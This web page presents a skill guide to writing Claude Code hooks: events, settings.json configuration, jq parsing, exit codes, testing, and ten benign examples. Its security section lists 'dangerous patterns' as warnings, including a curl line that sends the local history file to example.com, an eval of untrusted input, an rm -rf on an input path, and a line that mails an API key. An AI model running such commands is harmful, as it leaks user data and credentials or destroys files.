create-hooks
关于
This Claude Skill provides a comprehensive guide for creating Claude Code hooks to automate workflows through shell commands triggered by lifecycle events. It covers proper configuration, event handling, security practices, and hook registration in settings.json. Use it when you need to add event handlers, format code automatically, protect files, or log actions in your development workflow.
技能文档
Create Hooks Guide
This skill helps you create Claude Code hooks - user-defined shell commands that execute at specific points in Claude Code's lifecycle. Hooks provide deterministic control over behavior rather than relying on LLM decisions.
Quick Start
When creating a new hook, follow this workflow:
- Identify the event - Which lifecycle event should trigger the hook?
- Define the action - What shell command should execute?
- Configure matcher - Which tools should trigger (specific tool or
*for all)? - Test the command - Verify the shell command works independently
- Add to settings.json - Register the hook in
~/.claude/settings.json - Test in Claude Code - Verify the hook executes and behaves correctly
- Review security - Ensure no credential leakage or malicious behavior
Hook Events
Claude Code supports nine hook events:
1. PreToolUse
When: Before tool calls execute Can block: Yes (exit code 2) Use for:
- File protection (block writes to sensitive files)
- Validation (check command safety before execution)
- Logging (track what tools will execute)
- Permission checks (verify user authorization)
2. PostToolUse
When: After tool calls complete Can block: No Use for:
- Code formatting (prettier, gofmt, black after edits)
- Linting (run linters after code changes)
- Testing (run tests after modifications)
- Notifications (alert on specific tool completions)
- Cleanup (remove temporary files)
3. UserPromptSubmit
When: User submits prompts, before processing Can block: Yes Use for:
- Input validation
- Prompt logging
- Custom preprocessing
- Security checks
4. Notification
When: Claude Code sends notifications Can block: No Use for:
- Custom notification systems (desktop, Slack, email)
- Notification filtering
- Alert aggregation
- Status dashboards
5. Stop
When: Claude Code finishes responding Can block: No Use for:
- Session logging
- Metrics collection
- Cleanup operations
- Status updates
6. SubagentStop
When: Subagent tasks complete Can block: No Use for:
- Subagent result logging
- Multi-agent workflow tracking
- Performance metrics
- Orchestration coordination
7. PreCompact
When: Before compact operations Can block: Yes Use for:
- Backup creation
- Validation before context reduction
- State preservation
- History archival
8. SessionStart
When: Session initiation or resumption Can block: No Use for:
- Environment setup
- Project initialization
- Logging session start
- Resource allocation
9. SessionEnd
When: Session termination Can block: No Use for:
- Cleanup operations
- Session summary logging
- Resource deallocation
- Statistics reporting
Configuration Format
Hooks are configured in ~/.claude/settings.json:
{
"hooks": {
"EventName": [
{
"matcher": "ToolName or *",
"hooks": [
{
"type": "command",
"command": "shell_command_here"
}
]
}
]
}
}
Structure Breakdown
EventName: One of the nine hook events (e.g., PreToolUse, PostToolUse)
matcher:
- Specific tool name (e.g.,
"Edit","Bash","Write") "*"for all tools- Case-sensitive, must match tool name exactly
type: Always "command" for shell hooks
command: Shell command to execute (bash on Unix, cmd on Windows)
Shell Command Structure
Commands receive JSON input via stdin containing event data:
Common Fields (all events)
{
"description": "Human-readable description",
"tool_name": "Name of tool being used",
"tool_input": { /* Tool-specific parameters */ }
}
Tool-Specific Input Examples
Edit tool:
{
"tool_name": "Edit",
"description": "Update user authentication",
"tool_input": {
"file_path": "/path/to/file.js",
"old_string": "...",
"new_string": "..."
}
}
Bash tool:
{
"tool_name": "Bash",
"description": "Run tests",
"tool_input": {
"command": "npm test"
}
}
Write tool:
{
"tool_name": "Write",
"description": "Create new component",
"tool_input": {
"file_path": "/path/to/file.ts",
"content": "..."
}
}
Processing JSON Input
Use jq for parsing JSON in shell commands:
# Extract file path
jq -r '.tool_input.file_path'
# Extract command
jq -r '.tool_input.command'
# Extract description with fallback
jq -r '.description // "No description"'
# Conditional processing
jq -r 'if .tool_input.file_path then .tool_input.file_path else empty end'
Exit Codes & Blocking
Exit code 0: Success
- PreToolUse: Allows tool execution to continue
- Other events: Indicates successful hook execution
Exit code 2: Block execution (PreToolUse only)
- Prevents the tool from executing
- Sends feedback to Claude about the block
- Use for file protection, validation failures
Other exit codes: Treated as errors but don't block execution
Complete Examples
1. Auto-Format JavaScript/TypeScript Files
Event: PostToolUse Purpose: Run Prettier after editing JS/TS files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
]
}
}
2. Log All Bash Commands
Event: PreToolUse Purpose: Track all bash commands for auditing
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) - $(jq -r '.tool_input.command') - $(jq -r '.description // \"No description\"')\" >> ~/.claude/bash-command-log.txt"
}
]
}
]
}
}
3. Protect Sensitive Files from Modification
Event: PreToolUse Purpose: Block edits to production config files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
}
]
}
}
4. Desktop Notifications (macOS)
Event: Notification Purpose: Show desktop alerts when Claude needs input
{
"hooks": {
"Notification": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "osascript -e 'display notification \"Claude Code needs your attention\" with title \"Claude Code\"'"
}
]
}
]
}
}
5. Run Tests After Code Changes
Event: PostToolUse Purpose: Automatically run tests after editing test files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".test.\"* ]] || [[ $FILE == *\".spec.\"* ]]; then echo \"Running tests for $FILE...\"; npm test -- \"$FILE\" 2>/dev/null || true; fi"
}
]
}
]
}
}
6. Git Auto-Commit After Edits
Event: PostToolUse Purpose: Create automatic commits after file modifications
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); DESC=$(jq -r '.description // \"Auto-commit\"'); git add \"$FILE\" && git commit -m \"Auto: $DESC\" 2>/dev/null || true"
}
]
}
]
}
}
7. Backup Before Modifications
Event: PreToolUse Purpose: Create backups before editing important files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\"src/\"* ]]; then cp \"$FILE\" \"$FILE.backup.$(date +%s)\" 2>/dev/null || true; fi"
}
]
}
]
}
}
8. Multi-Language Code Formatting
Event: PostToolUse Purpose: Format multiple languages automatically
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); case $FILE in *.py) black \"$FILE\" 2>/dev/null;; *.go) gofmt -w \"$FILE\" 2>/dev/null;; *.rs) rustfmt \"$FILE\" 2>/dev/null;; *.java) google-java-format -i \"$FILE\" 2>/dev/null;; esac || true"
}
]
}
]
}
}
9. Session Logging
Event: SessionStart and SessionEnd Purpose: Track session duration and activity
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
],
"SessionEnd": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session ended at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
10. Python Script Hook (Advanced)
Event: PostToolUse Purpose: Complex processing with Python
settings.json:
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/format-hook.py"
}
]
}
]
}
}
~/.claude/hooks/format-hook.py:
#!/usr/bin/env python3
import json
import sys
import subprocess
from pathlib import Path
# Read hook data from stdin
hook_data = json.load(sys.stdin)
file_path = hook_data.get('tool_input', {}).get('file_path')
if not file_path:
sys.exit(0)
file_path = Path(file_path)
# Format based on extension
if file_path.suffix in ['.py']:
subprocess.run(['black', str(file_path)], stderr=subprocess.DEVNULL)
subprocess.run(['isort', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.js', '.ts', '.jsx', '.tsx']:
subprocess.run(['prettier', '--write', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.go']:
subprocess.run(['gofmt', '-w', str(file_path)], stderr=subprocess.DEVNULL)
sys.exit(0)
Security Considerations
CRITICAL WARNING: Hooks run automatically during the agent loop with your current environment's credentials. Malicious hooks could:
- Exfiltrate sensitive data
- Modify files without consent
- Execute arbitrary commands
- Leak credentials or API keys
Security Best Practices
- Review all hooks before adding to settings.json
- Avoid network calls in hooks unless absolutely necessary
- Validate input before processing file paths or commands
- Use exit code 2 to block unsafe operations
- Log hook execution for audit trails
- Restrict permissions on hook scripts (chmod 700)
- Never commit credentials in hook commands
- Test hooks independently before integration
- Use allowlists instead of blocklists for file protection
- Monitor hook behavior regularly
Dangerous Patterns to Avoid
# DON'T: Send data to external services without encryption
curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"
# DON'T: Execute arbitrary code from file contents
eval "$(jq -r '.tool_input.command')"
# DON'T: Modify files without validation
rm -rf "$(jq -r '.tool_input.file_path')"
# DON'T: Expose credentials in commands
echo "API_KEY=secret" | mail -s "Log" [email protected]
Safe Patterns
# DO: Validate before processing
FILE=$(jq -r '.tool_input.file_path'); [[ -f "$FILE" ]] && prettier "$FILE"
# DO: Use allowlists for protection
if [[ $FILE == "/app/src/"* ]]; then prettier "$FILE"; fi
# DO: Log locally with rotation
echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) - $DESC" >> ~/.claude/hook.log
# DO: Use exit code 2 to block unsafe operations
if [[ $FILE == *".env"* ]]; then exit 2; fi
Testing Hooks
1. Test Shell Command Independently
Before adding to settings.json, test your command:
# Create test JSON input
echo '{"tool_input": {"file_path": "test.js"}, "description": "Test"}' | \
jq -r '.tool_input.file_path'
2. Test with Mock Data
# Create test file
cat > /tmp/test-hook-input.json <<EOF
{
"tool_name": "Edit",
"description": "Update authentication",
"tool_input": {
"file_path": "/path/to/test.js",
"old_string": "old",
"new_string": "new"
}
}
EOF
# Test your command
cat /tmp/test-hook-input.json | your_hook_command_here
3. Verify Exit Codes
# Test success (exit 0)
echo '{}' | your_command && echo "Success: $?"
# Test blocking (exit 2)
echo '{"tool_input":{"file_path":".env"}}' | your_command; echo "Exit code: $?"
4. Test in Claude Code
- Add hook to settings.json
- Restart Claude Code
- Trigger the event (e.g., edit a file)
- Check logs:
~/.claude/bash-command-log.txtor similar - Verify expected behavior
Debugging Hooks
Common Issues
Hook not executing:
- Check JSON syntax in settings.json
- Verify event name is correct (case-sensitive)
- Confirm matcher matches tool name exactly
- Ensure command is executable
- Check file permissions on script files
Hook blocking when it shouldn't:
- Verify exit code logic
- Check conditional statements
- Test with various file paths
- Review error output (stderr)
Hook failing silently:
- Add logging to your command
- Check stderr output
- Verify dependencies are installed (jq, prettier, etc.)
- Test command independently with mock data
Debugging Techniques
Add verbose logging:
"command": "echo \"[HOOK] Processing: $(jq -r '.description')\" >> /tmp/hook-debug.log; your_actual_command"
Capture errors:
"command": "your_command 2>> ~/.claude/hook-errors.log"
Echo hook data:
"command": "jq '.' >> /tmp/hook-data-dump.json; your_actual_command"
Advanced Patterns
Conditional Multi-Step Hooks
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]]; then prettier --write \"$FILE\" && eslint --fix \"$FILE\"; fi"
}
Hook Chaining (Multiple Hooks per Event)
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "echo \"First hook\" >> /tmp/hooks.log"
},
{
"type": "command",
"command": "echo \"Second hook\" >> /tmp/hooks.log"
}
]
}
Dynamic Hook Behavior
# Different behavior based on time of day
HOUR=$(date +%H); if [ $HOUR -ge 9 ] && [ $HOUR -le 17 ]; then run_business_hours_hook; else run_after_hours_hook; fi
Environment-Specific Hooks
# Only run in development
if [[ $NODE_ENV == "development" ]]; then npm test; fi
Configuration Management
Full settings.json Example
{
"enabledPlugins": {
"example-skills@anthropic-agent-skills": true
},
"alwaysThinkingEnabled": false,
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]]; then exit 2; fi"
}
]
}
],
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
],
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
Organizing Hook Scripts
Recommended structure:
~/.claude/
├── settings.json
├── hooks/
│ ├── format-python.sh
│ ├── format-js.sh
│ ├── protect-files.sh
│ └── notify.sh
└── logs/
├── hook-execution.log
└── hook-errors.log
Reference scripts in settings.json:
{
"type": "command",
"command": "~/.claude/hooks/format-python.sh"
}
Best Practices Checklist
When creating a hook:
- Event type is appropriate for the action
- Matcher is specific enough (avoid
*when possible) - Shell command works independently
- JSON parsing uses
jqcorrectly - Exit codes are handled properly
- Security implications reviewed
- No credential leakage possible
- Error handling included (2>/dev/null or logging)
- File path validation included
- Tested with mock data
- Tested in Claude Code
- Logged for debugging/auditing
- Documented in comments or README
Workflow Summary
When user asks to create a hook:
- Clarify purpose - What should happen and when?
- Select event - Which hook event matches the timing?
- Choose matcher - Specific tool or all tools (*)?
- Write command - Shell command with JSON parsing
- Test independently - Verify command works with mock data
- Handle edge cases - File validation, error handling
- Review security - Check for credential leaks, unsafe operations
- Add to settings.json - Register in hooks configuration
- Test in Claude Code - Trigger event and verify behavior
- Document behavior - Comment or log what the hook does
Key Principles
- Security first - Always review for credential leakage and malicious behavior
- Test independently - Verify commands work before adding to settings.json
- Use exit codes correctly - 0 for success, 2 for blocking (PreToolUse only)
- Parse JSON safely - Use
jqfor reliable data extraction - Handle errors gracefully - Redirect stderr or log errors
- Validate inputs - Check file paths and commands before processing
- Log for debugging - Track hook execution for troubleshooting
- Keep it simple - Complex logic belongs in external scripts
- Use specific matchers - Avoid
*when you can target specific tools - Document everything - Comment your hooks for future maintenance
Remember: Hooks run automatically with your environment's credentials. Always review security implications before adding hooks to settings.json.
快速安装
/plugin add https://github.com/ronnycoding/.claude/tree/main/create-hooks在 Claude Code 中复制并粘贴此命令以安装该技能
GitHub 仓库
相关推荐技能
llamaguard
其他LlamaGuard是Meta推出的7-8B参数内容审核模型,专门用于过滤LLM的输入和输出内容。它能检测六大安全风险类别(暴力/仇恨、性内容、武器、违禁品、自残、犯罪计划),准确率达94-95%。开发者可通过HuggingFace、vLLM或Sagemaker快速部署,并能与NeMo Guardrails集成实现自动化安全防护。
sglang
元SGLang是一个专为LLM设计的高性能推理框架,特别适用于需要结构化输出的场景。它通过RadixAttention前缀缓存技术,在处理JSON、正则表达式、工具调用等具有重复前缀的复杂工作流时,能实现极速生成。如果你正在构建智能体或多轮对话系统,并追求远超vLLM的推理性能,SGLang是理想选择。
evaluating-llms-harness
测试该Skill通过60+个学术基准测试(如MMLU、GSM8K等)评估大语言模型质量,适用于模型对比、学术研究及训练进度追踪。它支持HuggingFace、vLLM和API接口,被EleutherAI等行业领先机构广泛采用。开发者可通过简单命令行快速对模型进行多任务批量评估。
langchain
元LangChain是一个用于构建LLM应用程序的框架,支持智能体、链和RAG应用开发。它提供多模型提供商支持、500+工具集成、记忆管理和向量检索等核心功能。开发者可用它快速构建聊天机器人、问答系统和自主代理,适用于从原型验证到生产部署的全流程。
